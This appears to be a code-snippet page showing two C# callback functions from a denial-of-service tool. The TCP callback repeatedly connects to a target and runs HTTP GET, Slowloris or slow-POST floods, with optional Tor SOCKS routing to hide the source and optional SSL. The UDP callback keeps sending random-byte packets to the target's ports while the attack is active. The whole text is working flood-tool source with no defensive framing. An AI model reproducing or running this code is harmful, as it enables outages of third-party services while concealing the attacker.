Exemplo n.º 1
0
        void TCP_BeginConnect_Callback(IAsyncResult iar)
        {
            CDenialSocket AttackSocket = null;

            try
            {
                AttackSocket = (CDenialSocket)iar.AsyncState;

                try
                {
                    AttackSocket.ClientSocket.EndConnect(iar);

                    if (this.m_bUseTor)
                    {
                        this.AuthorizeSocks(this.m_strHost, (short)this.m_iPort, AttackSocket.ClientSocket);
                    }

                    if (this.m_bUseSSL)
                    {
                        AttackSocket.ClientStream = new SslStream(new NetworkStream(AttackSocket.ClientSocket), false, new RemoteCertificateValidationCallback(this.ValidateServerCertificate));
                        AttackSocket.ClientStream.AuthenticateAsClient(Environment.MachineName);
                    }

                    switch (this.m_AttackType.GetAttackType())
                    {
                    case ATTACK_TYPE.HTTPGET:
                        this.SendHttpGet(AttackSocket);
                        break;

                    case ATTACK_TYPE.SLOWLORIS:
                        this.SendSlowloris(AttackSocket);
                        break;

                    case ATTACK_TYPE.SLOWPOST:
                        this.SendSlowloris(AttackSocket);
                        break;

                    default: AttackSocket.CalcInfo(0); break;
                    }
                }
                catch { }

                AttackSocket.ClientSocket.Close();

                Thread.Sleep(this.m_iInterval);

                if (this.ShouldAttack())
                {
                    AttackSocket.ClientSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                    AttackSocket.ClientSocket.BeginConnect((EndPoint)this.GetEndPoint(), new AsyncCallback(TCP_BeginConnect_Callback), AttackSocket);
                }
                else
                {
                    AttackSocket.OnData -= AttackSocket_OnData;
                }
            }
            catch { }
        }
Exemplo n.º 2
0
        void UDP_BeginSendTo_Callback(IAsyncResult iar)
        {
            CDenialSocket AttackSocket = null;

            //Socket sockClient = null;
            try
            {
                AttackSocket = (CDenialSocket)iar.AsyncState;

                try
                {
                    Int32 iSent = AttackSocket.ClientSocket.EndSendTo(iar);

                    AttackSocket.CalcInfo(iSent);
                }
                catch { }

                AttackSocket.ClientSocket.Close();

                /*
                 * ToDo: PPS and Rate
                 */

                if (this.ShouldAttack())
                {
                    Thread.Sleep(m_iInterval);

                    Byte[] arr_bUDPBuffer = CUtils.RandomBytes(CUtils.RandomInt(128, 512));

                    AttackSocket.ClientSocket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);

                    AttackSocket.ClientSocket.BeginSendTo(arr_bUDPBuffer, 0, arr_bUDPBuffer.Length, SocketFlags.None, (EndPoint) new IPEndPoint(CUtils.ResolveHost(this.m_strHost), this.m_iPort == 0 ? CUtils.RandomInt(80, 65000) : this.m_iPort), new AsyncCallback(UDP_BeginSendTo_Callback), AttackSocket);
                }
                else
                {
                    AttackSocket.OnData -= AttackSocket_OnData;
                }
            }
            catch (Exception ex)
            {
#if DEBUG
                Console.WriteLine("UDP_BeginSendTo_Callback :: Exception: {0}", ex.ToString());
#endif
            }
        }